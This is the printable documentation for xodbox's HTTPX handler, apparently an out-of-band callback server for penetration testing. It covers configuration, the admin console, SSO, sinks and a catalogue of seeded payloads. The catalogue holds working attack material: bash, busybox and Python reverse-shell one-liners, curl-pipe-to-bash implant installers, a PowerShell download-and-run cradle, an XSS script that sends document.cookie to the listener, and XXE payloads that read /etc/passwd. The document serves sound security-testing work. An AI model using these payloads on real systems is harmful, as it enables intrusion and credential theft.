This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

HTTPX

HTTPX Handler

Purpose

The primary HTTP/HTTPS listener. It serves user-defined payloads keyed by URL pattern, hosts static assets, exposes a private JSON API, and can transparently provision Let’s Encrypt certificates via ACME-DNS-01. Every request produces an InteractionEvent so out-of-band HTTP reach-out from an application under test can be asserted against expected paths and headers.

Replaying captured requests (SSRF)

Every HTTP interaction can render a curl command that reproduces the captured request — method, target URL, all headers, and the body. Notifiers include it automatically: slack/discord add a Replay: code block, webhook adds a Curl JSON field, and app_log logs a curl attribute.

This is aimed at SSRF: when a vulnerable server is coerced into calling xodbox, the captured request often carries the headers, cookies, or cloud-metadata tokens the victim attached. Copy the generated command, swap the URL for the intended internal target, and re-run it from the CLI to inspect that service with the victim’s own request:

curl -X POST 'http://your-xodbox/x/beacon?id=1' -H 'Authorization: Bearer …' --data-raw '…'

The command is single-line for easy copy-paste and shell-safe (values are single-quoted); Content-Length is dropped so curl recomputes it.

Behaviour

  • HTTP serves the bundled payload database (see payload_db_seed.go for the seeded set). Additional payloads can be loaded from a watched directory via payload_dir; changes are picked up via fsnotify and debounced into the database.
  • HTTPS mode activates when tls_names is set; certmagic provisions certificates via ACME-DNS-01 against the configured dns_provider. Without dns_provider, HTTPS will fall back to HTTP-01 / TLS-ALPN challenges, which require port 80/443 reachability from the internet.
  • Bot suppression: clients that exceed 30 requests in any one-minute bucket are marked as bots (model.IsBot) and have their subsequent events suppressed from notifier delivery (logged at WARN). The threshold itself is not configurable today. Loopback, RFC1918 private, and link-local sources are exempt from this suppression by default — they’re usually the operator testing or an internal SSRF callback — so a burst of local/internal traffic won’t silently mute your notifiers. Set bot_exempt_private: "false" to subject every source to bot detection.
  • The private API (mounted at api_path) requires the header Authorization: Token <api_token> on every request. An empty api_token rejects all callers. api_token is deprecated in favour of the admin console’s user accounts and API keys (see below); setting it logs a deprecation warning at start-up.
  • Embedded static assets ship at /ixdbxi/.
  • An embedded admin web UI (React SPA + JSON API) ships in the binary and is served under ui_path — or on a separate admin_listener bind — behind session/API-key auth and a CIDR allowlist (see below).

Configuration

General

KeyRequiredDefaultNotes
handleryesMust be HTTPX.
listeneryesBind address, e.g. :80 or :8080.
static_dirnoDirectory served at /static/. Created on first start with mode 0750 if missing.
payload_dirnoDirectory of *.md payload definitions. Watched at runtime; updates are upserted.
api_pathnoURL path prefix to mount the JSON API on, e.g. /api. Normalised to leading/trailing slash.
api_tokennoDeprecated. Bearer-style token for the legacy /private/* API. Prefer admin users + API keys. Setting it warns at start-up.
bot_exempt_privatenotrueExempt loopback/private/link-local sources from volume-based bot suppression. Set to "false" to apply bot detection to every source.
ui_pathnoURL path prefix to mount the admin web UI on, e.g. /admin. Empty disables it on the main listener. Normalised to leading/trailing slash. Ignored when admin_listener is set.
ui_allow_cidrsnoComma-separated CIDRs allowed to reach the admin UI/API, checked against the real TCP peer IP (never X-Forwarded-For). Empty allows any source (auth still required). Invalid entries are logged and ignored.
admin_listenernoSeparate bind address (e.g. 127.0.0.1:8443) that serves only the admin UI/API, isolated from the attacker-facing listener. When set, the UI is not mounted under ui_path on the main listener.
public_urlnoExternally-reachable base URL of the honeypot (e.g. https://oob.example.com). The admin UI’s Copy HTTP link control on a sink builds <public_url>/<slug> from it. Empty falls back to the UI’s own origin — correct when the UI is served on the honeypot listener, wrong on an isolated admin_listener.
notify_loginsnofalseWhen "true", a successful admin-UI login emits an InteractionEvent (recorded in the Events log and delivered to notifiers whose filter matches ^HTTPX Login). See Login notifications below.
max_upload_sizeno0Per-file size cap for multipart/form-data uploads, in bytes. 0 means no limit. Files exceeding the cap are rejected with 413.

OIDC / SSO

Optional single sign-on for the admin console via any OpenID Connect provider (Google, Okta, Keycloak, Azure AD, Authentik, …). SSO runs alongside the built-in username/password login — an “SSO” button appears on the login page when oidc_issuer and oidc_client_id are set. See OIDC single sign-on below.

KeyRequiredDefaultNotes
oidc_issuernoProvider issuer URL. Setting this and oidc_client_id enables SSO. Discovery (<issuer>/.well-known/openid-configuration) is fetched lazily on the first login, so start-up never blocks on the IdP.
oidc_client_idnoOAuth2/OIDC client ID registered with the provider.
oidc_client_secretnoClient secret. Omit for public clients — the flow always uses Authorization Code + PKCE.
oidc_redirect_urlnoderivedCallback URL registered with the IdP, e.g. https://oob.example.com/admin/api/auth/oidc/callback. When empty it is derived from the request’s scheme/host and admin mount path (honoring X-Forwarded-Proto). Set it explicitly when the console sits behind a proxy or on a non-obvious host.
oidc_scopesnoopenid,profile,emailComma/space-separated scopes requested. openid is always included.
oidc_default_rolenouserRole assigned to provisioned users: user or admin.
oidc_groups_claimnogroupsID-token claim inspected for group membership (may be a JSON array or a space/comma string).
oidc_admin_groupnoWhen set, users whose oidc_groups_claim contains this value are granted the admin role; everyone else gets oidc_default_role. Empty means no group is elevated.
oidc_button_labelnoSign in with SSOText shown on the login page’s SSO button.

TLS / ACME

KeyRequiredDefaultNotes
tls_namesnoComma-separated hostnames. Setting any value enables HTTPS via certmagic.
acme_emailnoACME account contact address.
acme_acceptnofalseMust be the literal string "true" to accept the ACME provider’s terms of service.
acme_urlnoACME directory URL. Defaults to Let’s Encrypt production; use the staging URL for testing.
dns_providernoOne of namecheap or route53. Required for the DNS-01 challenge path.
dns_provider_api_usernoAPI user (namecheap only).
dns_provider_api_keynoAPI key (namecheap only).

MDaaS (Malicious Daemon as a Service) cross-compile

These keys are baked into binaries served from the /build/<os>/<arch>/<program> route. Only useful when payloads request a build.

KeyRequiredDefaultNotes
mdaas_log_levelnoOne of NONE, INFO, WARN, ERROR, DEBUG.
mdaas_bind_listenernoListener address baked into the built MDaaS binary.
mdaas_allowed_cidrnoCIDR allowed to connect to the built MDaaS binary at runtime.
mdaas_notify_urlnoWebhook URL the built binary calls back to.

Admin web UI

The binary embeds a responsive React admin console (built with Vite + shadcn/ui, compiled into pkg/handlers/httpx/webui/ via //go:embed) plus a JSON admin API. It lets an operator log in and:

  • view/edit/create/delete payloads,
  • browse the Events log with filters (target, remote, handler) — the app persists interactions from every handler (httpx, dns, ftp, smtp, ssh, tcp, smb), so the log spans all protocols, not just HTTP,
  • delete individual events (and their uploaded files) from the list or detail view, and delete individual uploaded files without removing the event,
  • inspect an event’s detail with a one-click copy-as-curl — JSON bodies are automatically pretty-printed for readability,
  • get a webhook-style view of every hit to a specific target path,
  • watch the Events log and sink feeds update in real time — new interactions stream in live via Server-Sent Events (GET /api/stream, filterable by handler/remote/target/sink), no refresh needed,
  • manage sinks — named, described slugs with a per-slug event feed,
  • review detected bots,
  • manage users and API keys, and rotate their own password,
  • edit the server config with a structured editor that shows labelled fields, descriptions, and grouped sections for each handler/notifier type — including a one-click Enable OIDC / SSO button that pre-populates all the SSO fields.

Sinks

A sink is a named, described slug you embed in a payload (a URL path, a DNS label, a query value) to correlate out-of-band interactions. Creating a sink does not change what the honeypot captures — every path and name is already recorded — it labels and groups the hits so you can remember what a slug is for and review its whole feed in one place. An interaction belongs to a sink when the slug appears in its request_target (HTTP path, DNS qname) or its raw request headers (the request line + Host), so /<slug>, <slug>.your.domain, and ?x=<slug> all correlate. Deleting a sink leaves its captured interactions untouched.

Sinks are managed in the UI (create with an optional slug + description, then open one to see its events, newest first) and over the API — GET/POST /api/sinks, GET/PUT /api/sinks/{slug} (sink + event feed / update), DELETE /api/sinks/{slug}.

From the CLI (handy for scripting payload generation — only the slug is written to stdout, so it is clean to capture):

SLUG=$(xodbox sink add --description "prod SSRF beacon")   # random slug
xodbox sink add my-label --description "a named one"        # explicit slug
xodbox sink add --description "with alerts" --notify        # enable hit notifications
xodbox sink list
xodbox sink rm my-label

Each sink’s detail page has two copy controls: Copy slug (the bare slug, for embedding in a payload) and Copy HTTP link (the full <public_url>/<slug> URL a target would hit to land in the sink). Set public_url so the link points at the honeypot’s real address; without it the link uses the console’s own origin, which is only correct when the UI is mounted on the honeypot listener.

Sink hit notifications

A sink with notify enabled dispatches a notification through all configured notifiers whenever a new interaction matches its slug. The notification includes the sink slug, description, a link (<public_url>/<slug> when public_url is set in defaults), and the full event metadata (handler, remote IP, request target, raw data, curl replay when available).

Toggle notifications in the admin UI (the Notifications on/off button on a sink’s detail page, or the checkbox in the sink list), over the API (PUT /api/sinks/{slug} with {"notify": true}), or at creation time (--notify flag on the CLI, "notify": true in the POST body).

Sink-hit events bypass the notifier’s regex filter — enabling notify on a sink is an explicit opt-in, so the event is delivered to every configured notifier regardless of its filter setting. The filter string still has the shape SINK <slug> <original-filter-string> for logging/debugging purposes.

To include the interaction link in Slack/Discord/webhook notifications, add public_url to the defaults section of xodbox.yaml:

defaults:
  public_url: https://oob.example.com

Login notifications

Admin traffic normally produces no InteractionEvents. With notify_logins: "true", each successful admin-UI login is an exception: it emits an event so operators can be alerted when someone accesses the console. The event is recorded in the Events log (as an httpx LOGIN interaction targeting the username) and dispatched to notifiers. Its filter string has the canonical shape

HTTPX Login <username> from <ip>

so a notifier selects logins with a filter like ^HTTPX Login. Failed login attempts are not emitted (they are rate-limited and enumeration-resistant).

Serving the console

Choose one of two mount strategies:

  • Same listener, sub-path: set ui_path (e.g. /admin). The SPA and its /api/* routes are served under that prefix on the main HTTP(S) listener, with an SPA fallback for client-side routes.
  • Isolated listener (recommended): set admin_listener (e.g. 127.0.0.1:8443). The console binds there, fully separated from the attacker-facing port; ui_path is then ignored on the main listener.

Either way, access is gated by ui_allow_cidrs (evaluated against the real TCP peer IP) and authentication. Admin routes never emit honeypot InteractionEvents.

Authentication model

  • Browser sessions: cookie-based, server-side session tokens (hashed at rest), HttpOnly + SameSite=Strict + Secure under TLS. State-changing requests require a double-submit CSRF token (X-CSRF-Token header echoing the xodbox_csrf cookie). Login is rate-limited and enumeration-resistant.
  • API keys: send Authorization: Bearer xdbx_…. Keys are sha256-hashed at rest, compared in constant time, and shown in plaintext exactly once at creation. Bearer requests are CSRF-exempt.
  • Passwords: bcrypt, 12-character minimum.
  • Roles: admin (may manage users) and user.
  • OIDC/SSO: optional; see below. SSO users authenticate against an external identity provider and never have a local password.

OIDC single sign-on

When oidc_issuer and oidc_client_id are configured, the login page shows an SSO button next to the password form (SSO and passwords coexist, so a misconfigured IdP can’t lock you out — a local admin can always sign in). The flow is standard Authorization Code + PKCE:

  1. The browser hits /api/auth/oidc/login, which stashes a state, nonce, and PKCE verifier in short-lived cookies and redirects to the provider.
  2. The provider redirects back to /api/auth/oidc/callback, which validates state, exchanges the code (with the PKCE verifier), verifies the ID token signature and nonce, and then provisions the user and issues the same server-side session cookie the password flow uses. Everything downstream (CSRF, requireAuth, API keys) is unchanged.

User provisioning is just-in-time. On first login a local account is created from the token’s claims (no password, so it can never be used for password login); the account is keyed by the token’s iss#sub, never by email, so a colliding email can’t take over an existing account. On every login the user’s role is re-synced from the current claims, so IdP group changes take effect immediately.

Role mapping. With oidc_admin_group set, a user whose oidc_groups_claim contains that value gets the admin role; everyone else gets oidc_default_role (default user). Manage further elevation from the Users page as usual.

Example (Keycloak-style issuer):

- handler: HTTPX
  listener: :80
  admin_listener: 127.0.0.1:9091
  public_url: https://oob.example.com
  oidc_issuer: https://sso.example.com/realms/corp
  oidc_client_id: xodbox
  oidc_client_secret: "…"
  oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
  oidc_admin_group: xodbox-admins

Bootstrapping users (CLI)

Create the first admin before starting the server (there is no default account). API keys are then minted from the console.

xodbox user add alice --admin   # prints a generated password once
xodbox user list
xodbox user passwd alice        # reset a password (revokes active sessions)
xodbox user rm alice            # delete a user + their keys and sessions

Example config

handlers:
  - handler: HTTPX
    listener: ":80"
    admin_listener: "127.0.0.1:8443"   # console isolated from the honeypot port
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
    # ui_path: "/admin"                # alternative: same listener, sub-path

Filters

The entire HTTP request (request line + headers + body) is fed to the notifier filter regexps. To alert on a specific prefix:

filter: "(GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /myPrefix"

This would match:

  • https://test.example/myPrefixexample
  • https://test.example/myPrefix/example
  • https://test.example/myPrefix/asdasd/asdasd/asd/as/d

And would not match:

  • https://test.example/robots.txt
  • https://test.example/asd/myPrefix/example

Operational notes

  • Stop(ctx) shuts down whichever server pair Start booted: in HTTP mode, the single *http.Server; in HTTPS mode, both the ACME HTTP-01 challenge listener on :80 and the TLS listener on :443. The payload-directory watcher goroutine (if payload_dir was set) is also cancelled. ctx bounds how long in-flight requests have to drain. When admin_listener is set, its dedicated server is started in Start and shut down under the same Stop(ctx) drain.
  • Sensitive operator keys (api_token, dns_provider_api_key) end up in the xodbox config file. Restrict that file’s permissions to 0600 and the running user.
  • Admin passwords, session tokens, and API keys live in the SQLite database (hashed), never in the config file. Prefer binding the admin console to an isolated admin_listener and/or a tight ui_allow_cidrs so it is never reachable from the attacker-facing port.

Backlog

New features

  • Let’s Encrypt Auto Cert
  • Exfil data saver

Legacy functionality to be implemented

  • robots.txt
  • unfurly
  • arbitrary json
    • b64
  • redirect
    • b64
  • basic auth
  • breakfastbot
  • allow origin *

Legacy functionality that isn’t specific to a handler

  • alert pattern with payload
  • alert pattern (alert patterns are part of notifiers, maybe we need to expose alert patterns based on handler type)
  • slack hook (this is now a notifier)

1 - Default Payloads Seeds

seed data

Default payloads that come with xodbox.

1.1 - Default Header

Adds the default header to all HTTP responses.

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

Server: BreakfastBot/1.0.0

1.2 - Redirect

HTTP Redirects

HTTP Redirects to the query parameter l using the query param s as the status code.

WhatDescriptionGET Parameters
LocationLocation to redirect tol
StatusHTTP status codes

Example Request

curl -i "http://xodbox.test/redir?l=https://github.com/defektive/xodbox&s=301"

Example Response

Location: https://github.com/defektive/xodbox

1.3 - Remote Address Reflector

A restrictive robots.txt

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/ip

Example Response

10.1.2.3

1.4 - Robots TXT

A restrictive robots.txt

Simple robots txt to prevent indexing.

Example Request

curl http://xodbox.test/robots.txt

Example Response

User-Agent: *
Disallow: /

1.5 - Build MDaaS

Build random binaries

1.6 - Inspect

Reflect back HTTP requests in various formats

Depends on an internal code

/inspect

Inspect or reflect the request back in various formats.

  • Plain Text (default, .txt)
  • HTML (.html, .html)
  • GIF (.gif)
  • JPEG (.jpg)
  • PNG (.png)
  • MP4 (.mp4)
  • XML (.xml)
  • JSON (.json)
  • Javascript (.js)

Examples

  • http://localhost/inspect
  • http://localhost/some/random/path/inspect.gif

1.7 - XSS HTML

Returns HTML that embeds xss-js

/jsc.html

Simple HTML to load simple JS Payload.

1.8 - XSS JavaScript

Returns JS that embeds an image back to xodbox

/jsc

Simple JS Payload. Useful form embedding or quickly copying and modifying for an XSS payload to prove execution and exfil.

(function (){
    var s = document.createElement("img");
    document.body.appendChild(s);
    s.src="//{{.Request.Host}}/{{ .NotifyString}}/jscb?src="+window.location+"&c="+document.cookie;
})()

1.9 - Default Favicon

Redirects to the default logo.

Redirects to the embedded default logo, exposed via embedded fs.

Example Request

curl -i http://xodbox.test/favicon.ico

1.10 - Bash Reverse Shell

BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/bash?h=10.10.10.10&p=9090"

Example Response

bash -i >& /dev/tcp/127.0.0.1/9091 0>&1
0<&196;exec 196<>/dev/tcp/127.0.0.1/9091 ; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/127.0.0.1/9091 0<&1 2>&1

1.11 - Bind Shell

Requires bind-shell in static dir

Build a bind shell implant for the specific platform and execute it.

Example Request

curl xodbox/bind.sh|bash

1.12 - BusyBox Reverse Shell

BusyBox Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/bb?h=10.10.10.10&p=9090"

Example Response

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1111 >/tmp/f

1.13 - Detect platform

detect platform

Example Request

curl -i "http://xodbox.test/detect.sh"

This will curl the notification url with the detected values in the path.

1.14 - HTML IFrame With Request Params

Returns an HTML page with an iframe src to f query parameter

/ht

attempts to get whatever files is supplied via the f query parameter

1.15 - Open Graph

Embed request params in open graph elements.

Useful for unfurlers. Maybe we should merge this into inspect…

Example Request

curl -i "http://xodbox.test/unfurl"

Example Response

Location: https://github.com/defektive/xodbox

1.16 - Python Reverse Shell

Python Reverse Shell

Useful for reverse shells on busybox systems.

Example Request

Params

ParameterDefault ValueDescription
hClient IP addressHost to connect to
p9091Port to connect to
curl -i "http://xodbox.test/rsh/python?h=10.10.10.10&p=9090"

Example Response

import socket,os,pty;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("127.0.0.1",9091));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
pty.spawn("/bin/sh")

1.17 - Reverse Shell

Requires bind-shell in static dir

Build a reverse shell implant for the specific platform and execute it.

Example Request

curl xodbox/reverse.sh|bash

1.18 - Simple SSH

Simple SSH (requires build of simple ssh server in static dir)

Build an SSH server implant for the specific platform and execute it.

Example Request

curl xodbox/ssh.sh|bash

1.19 - Simple SSH Service

Simple SSH Service (requires build of simple ssh server in static dir)

Build an SSH server implant for the specific platform and install it as a service, then start the service.

Example Request

curl xodbox/ssh.sh|bash

1.20 - XSS Image Template

A text template for quickly embedding js execution hooks into pages the image tags

1.21 - XXE Callback

More XXE

XXE Callback used by xxe-system

1.22 - XXE DTD

More XXE

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

/evil.dtd

dtd for use by others

1.23 - XXE SVG Hostname

Returns an SVG payload with XXE to get files

/sh

attempts to get /etc/hostname

SVG with XXE payloads

1.24 - XXE SVG Passwd

Returns an SVG payload with XXE to get files

/sp

attempts to get /etc/passwd

1.25 - XXE SVG Request Params

Returns an SVG payload with XXE to get files

/sv

attempts to get whatever files is supplied via the f query parameter

1.26 - XXE System

More XXE

/dt

A vulnerable application for testing is in ../../../../cmd/xodbox-validator

1.27 - Default Page

returns a simple page if nothing is matched

Adds an HTTP header to all HTTP responses.

Example Request

curl -i http://xodbox.test/

Example Response

hi

1.28 - In Development Seeds

These seeds are not ready for production and may never be.

Seeds that are not tested or finished.

1.28.1 - Bind shell powershell

Requires bind-shell in static dir
iex ((New-Object System.Net.WebClient).DownloadString('http://xobox/bind.ps1'))

1.28.2 - Pipe Process List to Notifier

Simple script to pipe ps to the notification URL

Example Request

curl xodbox/pipe.sh|bash

1.28.3 - WPAD

Returns a WPAD config file (Javascript).

WPAD Proxy. Not really useful at the moment. Should be more useful in the future

2 - Example Payloads

Examples

Default payloads that come with xodbox.

2.1 - List Payloads

List payloads

List Payloads

---
title: List Payloads
description: List payloads
weight: 1
pattern: /i-forgot-how-things-work$
is_final: true
data:
  headers:
    Content-Type: text/plain
  body: |
    Payloads
    
    {{ range .Payloads }}
    {{ .Pattern }} - {{ .Name }} [{{ .Type }}]
    {{ .Description }}
    
    {{ end }}
---